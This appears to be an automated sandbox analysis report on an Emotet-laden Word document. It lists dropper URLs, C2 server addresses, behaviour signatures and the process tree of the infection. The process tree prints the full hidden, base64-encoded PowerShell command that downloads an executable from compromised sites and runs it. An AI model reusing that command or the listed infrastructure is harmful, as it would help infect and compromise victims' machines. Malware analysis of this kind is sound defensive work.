Analysis

  • max time kernel
    30s
  • resource
    win10v191014
  • submitted
    18-12-2019 16:26

General

  • Target

    418471b28549547510de4b6092959db252e62104f228ce72573df41767bdef28

  • Sample

    191218-lntvcbswnj

  • SHA256

    418471b28549547510de4b6092959db252e62104f228ce72573df41767bdef28

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.meee-designbuild.com/wp-content/vs718/

exe.dropper

https://cardesign-analytics.com/messagelist/wdi9/

exe.dropper

https://www.danytex.com/cgi-bin/c5b2ze315/

exe.dropper

http://nexusfantasy.com/rxmu/eebmh133/

exe.dropper

http://basic.woo-wa.com/lwral/wz87053/

Extracted

Family

emotet

C2

63.248.198.8:80

189.19.81.181:443

130.204.247.253:80

96.126.121.64:443

104.236.137.72:8080

85.234.143.94:8080

51.255.165.160:8080

118.36.70.245:80

190.210.184.138:995

188.135.15.49:80

139.162.118.88:8080

72.29.55.174:80

68.183.170.114:8080

181.231.62.54:80

192.241.146.84:8080

71.76.45.83:443

63.246.252.234:80

37.211.49.127:80

74.59.187.94:80

5.88.27.67:8080

rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\418471b28549547510de4b6092959db252e62104f228ce72573df41767bdef28.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4896
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABHAHYAZQBwAHkAYwBsAHYAPQAnAEgAcwB3AHIAaAB2AG8AcgBpAGQAbwBsACcAOwAkAEUAdgB6AGkAYwBxAGEAaQB3AHYAbQB0AG8AIAA9ACAAJwAxADUAMwAnADsAJABGAGMAbgByAG4AcABxAGwAegBlAG4APQAnAFoAdQB0AGEAaQBvAHYAeQBlAHEAcAB6ACcAOwAkAE0AegBqAGYAbgBhAGwAagBvAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAdgB6AGkAYwBxAGEAaQB3AHYAbQB0AG8AKwAnAC4AZQB4AGUAJwA7ACQARwB5AG0AdgByAGcAegBzAD0AJwBEAGUAZQByAGgAdwBtAHQAbAB1AHMAbgBrACcAOwAkAE0AcAB4AHgAbABuAGUAagBpAHUAawA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgB3AGUAQgBjAGwASQBlAG4AVAA7ACQASQBlAHYAZQBtAHYAaQBxAGQAbQBnAHcAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AZQBlAGUALQBkAGUAcwBpAGcAbgBiAHUAaQBsAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB2AHMANwAxADgALwAqAGgAdAB0AHAAcwA6AC8ALwBjAGEAcgBkAGUAcwBpAGcAbgAtAGEAbgBhAGwAeQB0AGkAYwBzAC4AYwBvAG0ALwBtAGUAcwBzAGEAZwBlAGwAaQBzAHQALwB3AGQAaQA5AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAGEAbgB5AHQAZQB4AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AYwA1AGIAMgB6AGUAMwAxADUALwAqAGgAdAB0AHAAOgAvAC8AbgBlAHgAdQBzAGYAYQBuAHQAYQBzAHkALgBjAG8AbQAvAHIAeABtAHUALwBlAGUAYgBtAGgAMQAzADMALwAqAGgAdAB0AHAAOgAvAC8AYgBhAHMAaQBjAC4AdwBvAG8ALQB3AGEALgBjAG8AbQAvAGwAdwByAGEAbAAvAHcAegA4ADcAMAA1ADMALwAnAC4AIgBTAGAAUABMAEkAVAAiACgAJwAqACcAKQA7ACQAUABjAHIAYgBsAHgAcgBvAD0AJwBNAG4AaQB2AGQAdQBoAHUAdQB3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABKAHgAbwBmAGgAagBsAG0AYQBnAGcAIABpAG4AIAAkAEkAZQB2AGUAbQB2AGkAcQBkAG0AZwB3ACkAewB0AHIAeQB7ACQATQBwAHgAeABsAG4AZQBqAGkAdQBrAC4AIgBEAE8AVwBgAE4AbABPAEEARABGAGAASQBMAGUAIgAoACQASgB4AG8AZgBoAGoAbABtAGEAZwBnACwAIAAkAE0AegBqAGYAbgBhAGwAagBvAGoAKQA7ACQARABxAGkAZAB3AG8AZQBqAHQAbwA9ACcAQwBlAGkAcQBvAGEAbQBwAHIAaAB1AGoAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABNAHoAagBmAG4AYQBsAGoAbwBqACkALgAiAEwAZQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADMAMAA3ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAFQAIgAoACQATQB6AGoAZgBuAGEAbABqAG8AagApADsAJABBAGwAdABwAHIAeQBmAHkAYQA9ACcAQgBkAGsAZABxAHkAbwBwAHQAJwA7AGIAcgBlAGEAawA7ACQAUQBmAHUAawBvAHMAdgB3AHoAegA9ACcARAB4AHoAeQBoAHUAdwBmAGkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBqAGUAbgByAHcAdQBvAGUAPQAnAFYAbgB2AGgAagBuAGQAZAB0AGgAZAAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: EnumeratesProcesses
    PID:4420
    • C:\Users\Admin\153.exe
      "C:\Users\Admin\153.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:1580
      • C:\Users\Admin\153.exe
        --2934414d
        3⤵
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:4660
  • C:\Windows\SysWOW64\nondeploy.exe
    "C:\Windows\SysWOW64\nondeploy.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    PID:4332
    • C:\Windows\SysWOW64\nondeploy.exe
      --4c12552a
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EmotetMutantsSpam
      PID:3820

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1580-9-0x0000000002240000-0x0000000002257000-memory.dmp

    Filesize

    92KB

  • memory/3820-16-0x0000000000600000-0x0000000000617000-memory.dmp

    Filesize

    92KB

  • memory/3820-17-0x0000000000400000-0x00000000004C1000-memory.dmp

    Filesize

    772KB

  • memory/4332-14-0x0000000000E20000-0x0000000000E37000-memory.dmp

    Filesize

    92KB

  • memory/4660-11-0x0000000002190000-0x00000000021A7000-memory.dmp

    Filesize

    92KB

  • memory/4660-12-0x0000000000400000-0x00000000004C1000-memory.dmp

    Filesize

    772KB